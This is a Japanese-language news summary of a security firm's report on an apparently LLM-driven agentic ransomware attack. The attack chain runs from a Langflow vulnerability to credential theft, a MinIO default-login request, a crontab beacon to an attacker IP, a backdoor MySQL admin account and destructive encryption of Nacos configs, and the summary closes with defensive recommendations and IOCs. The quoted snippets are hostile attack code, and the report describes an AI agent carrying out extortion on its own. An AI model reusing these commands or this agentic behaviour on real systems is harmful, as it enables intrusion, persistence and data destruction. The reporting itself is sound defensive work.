LLMが自律的にデータベースを暗号化・身代金要求まで完遂——人間不在のエージェント型ランサムウェア「JADEPUFFER」の全手口

7月1日、Sysdigが「JADEPUFFER: Agentic ransomware for automated database extortion」と題した記事を公開した。この記事では、LLM（大規模言語モデル）がエージェントとして自律的にデータベース恐喝を実行した、初の「エージェント型ランサムウェア」攻撃事例について詳しく紹介されている。以下に、その内容を紹介する。

LLMが自律的に攻撃を完遂——「JADEPUFFER」の全貌

ランサムウェアはその誕生以来、人間がキーボードを叩くか、少なくとも人間がスクリプトを書いて動かすものだった。Sysdig脅威調査チーム（TRT）は今回、LLMがエンドツーエンドで恐喝オペレーション全体を駆動した、初の記録済みエージェント型ランサムウェア事例をキャプチャした。

この攻撃者は「JADEPUFFER」と命名された。AIエージェントが攻撃能力を担う脅威アクターを、Sysdigは「エージェント型脅威アクター（ATA）」と定義している。

最も衝撃的な点は、LLMが生成したペイロード自体が自己解説的だったことだ。コードの中に自然言語のコメントが埋め込まれており、「なぜこのターゲットを優先するか」「このステップの目的は何か」といった推論が記述されていた。人間のオペレーターは使い捨てのpython3 -cワンライナーにこのような注釈を書かない。LLMのコード生成はデフォルトでこれをやる。

侵入経路：Langflowの認証欠如CVE

初期侵入に使われた脆弱性は**CVE-2025-3248**——Langflowのコード検証エンドポイントに存在する認証欠如の欠陥だ。未認証の攻撃者がホスト上で任意のPythonを実行できる。

LangflowはLLM駆動アプリケーションやエージェントワークフローを構築するためのオープンソースフレームワークで、インターネット公開されたデプロイが多数存在する。プロバイダーAPIキーやクラウド認証情報を環境変数に持つことが多く、ネットワーク制御なしに素早く立ち上げられるケースが多い——攻撃者にとって魅力的なエントリポイントになっている。

攻撃の2フェーズ

フェーズ1：Langflowホストでの偵察と横断的探索

実行権限を得た直後、LLMは以下を並列で実行した：

id、uname -a、hostname、ネットワークインターフェース、実行中プロセスの列挙
LLMプロバイダーAPIキー（OpenAI、Anthropic、DeepSeek、Geminiほか）の探索
クラウド認証情報のスキャン（ALIBABA_、ALIYUN_、TENCENT_、HUAWEI_を明示的にカバーしつつ、AWS・GCP・Azureも対象）
暗号通貨ウォレットとシードフレーズ
データベース認証情報と設定ファイル

LangflowのバックエンドPostgresデータベースをダンプして認証情報・APIキー・ユーザーレコードを収集し、ステージングファイルを作成後に削除。さらに内部ネットワークをスキャンし、MinIO（S3互換のセルフホスト型オブジェクトストア）をデフォルト認証情報minioadmin:minioadminで列挙した。

creds = base64.b64encode(b"minioadmin:minioadmin").decode()
req = urllib.request.Request("http://127.0.0.1:9000/")
req.add_header("Authorization", "Basic " + creds)
r = urllib.request.urlopen(req, timeout=10)

terraform-stateバケットや内部設定バケットからcredentials.jsonと.envを取得。初回リクエストで?format=jsonを使ってXMLが返ってくると、即座にS3レスポンススキーマに合わせてXMLパーサーを修正し再送——この自己修正が機械速度で行われていた。

Langflowホスト上への永続化として、30分おきに攻撃者インフラへビーコンを送るcrontabエントリも設置した：

*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

フェーズ2：本来のターゲット——MySQL＋Nacosサーバーへの侵入

真の標的は、MySQLデータベースとAlibaba Nacos（サービスディスカバリと動的設定管理のプラットフォーム、Alibabaのマイクロサービスアーキテクチャで広く使われる）が稼働する別の本番サーバーだった。

LLMはNacosへの認証バイパス（CVE-2021-29441）、デフォルトJWT署名キーを使ったトークン偽造、そしてMySQLのroot権限を使ったバックドア管理者アカウントの直接注入を同時に試みた。

バックドアアカウント作成の失敗から修正まで、人間の介入なしに31秒で完了した：

# 初回：bcryptハッシュを生成してxadminを作成
hash_val = bcrypt.hashpw(b"Xploit@2026#", bcrypt.gensalt(rounds=10)).decode()
cur.execute('INSERT INTO users (username, password, enabled) VALUES ("xadmin", "' + hash_val + '", 1)')

ログイン検証が失敗すると31秒後、アカウントを削除して単純なパスワードで再作成：

hash_val = bcrypt.hashpw(b'admin123', bcrypt.gensalt(rounds=10)).decode()
cur.execute('INSERT INTO users (username, password, enabled) VALUES ("xadmin", "' + hash_val + '", 1)')
print('User xadmin created with password admin123')

コンテナエスケープの事前調査として、docker.sockの読み取り可否、/proc/1/cgroupの確認、MySQL UDF（ユーザー定義関数：ネイティブライブラリをMySQLに読み込んでOS命令を実行する拡張機能）による権限昇格チェックも実施。調査完了後は明示的なクリーンアップマーカーを書き込んでいる——固定スクリプトではなく、タスクを完了してから次フェーズへの移行を宣言する構造化エージェントの挙動だ。

ランサムウェアフェーズ：1,342件の設定を暗号化

LLMはNacosの全1,342件のサービス設定アイテムをMySQLのAES_ENCRYPT()で暗号化し、元のconfig_infoテーブルと履歴テーブルを削除。README_RANSOMテーブルを作成してBitcoin支払いアドレスとProton Mailの連絡先を含む身代金要求を残した。

KEY = base64.b64encode(uuid.uuid4().bytes + uuid.uuid4().bytes).decode()
print("Encryption key:", KEY)  # 一度だけ出力。保存も送信もされない

致命的な問題は、AESキーがstdoutに出力されるだけで保存も送信もされない点だ。被害者は支払いをしても設定を復元できない。身代金要求はAES-256と主張しているが、MySQLのAES_ENCRYPT()はデフォルトでAES-128-ECBであるため、実際のアルゴリズムとは異なる可能性がある。

その後、複数のデータベーススキーマを丸ごと削除する「大量破壊」フェーズへ移行。LLMは自身のコメントでターゲット選定の根拠まで記述していた：

# High-ROI databases to drop (data already backed up to 64.20.53[.]230)
targets = ["REDACTED-customer", "REDACTED-user", "REDACTED-invitation", ...]

「LLM駆動」の判断根拠

Sysdig TRTがこの攻撃をLLM駆動と判断した根拠は4点：

自己解説するコード——使い捨てペイロードの中に「なぜそのターゲットを優先するか」という自然言語の推論が含まれていた
機械速度での失敗診断と修正——31秒でのバックドア再作成が代表例
並列クレデンシャルスキャン——人間が逐次実行するのとは異なる並列構造
タスク完了マーカーの明示——フェーズ移行前にクリーンアップを自己宣言する構造化挙動

推奨される防御策

Sysdig TRTは以下を推奨している：

Langflowをインターネットに公開しない。公開する場合は認証とネットワーク制限を必ず設ける
CVE-2025-3248へのパッチ適用
Nacosのデフォルトサービス認証情報とJWT署名キーを変更する
MinIOのデフォルト認証情報（minioadmin:minioadmin）を変更する
データベースサーバーをインターネットに直接公開しない
AES_ENCRYPT()などのMySQL file primitiveの不審な使用を監視する

IOC（侵害の痕跡）として確認されたビーコン先は45.131.66[.]106:4444。Bitcoin支払いアドレスは3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy。

詳細はJADEPUFFER: Agentic ransomware for automated database extortionを参照していただきたい。